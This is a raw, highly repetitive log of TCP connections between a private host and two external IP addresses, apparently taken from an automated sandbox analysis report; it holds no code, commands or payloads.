Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80

Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
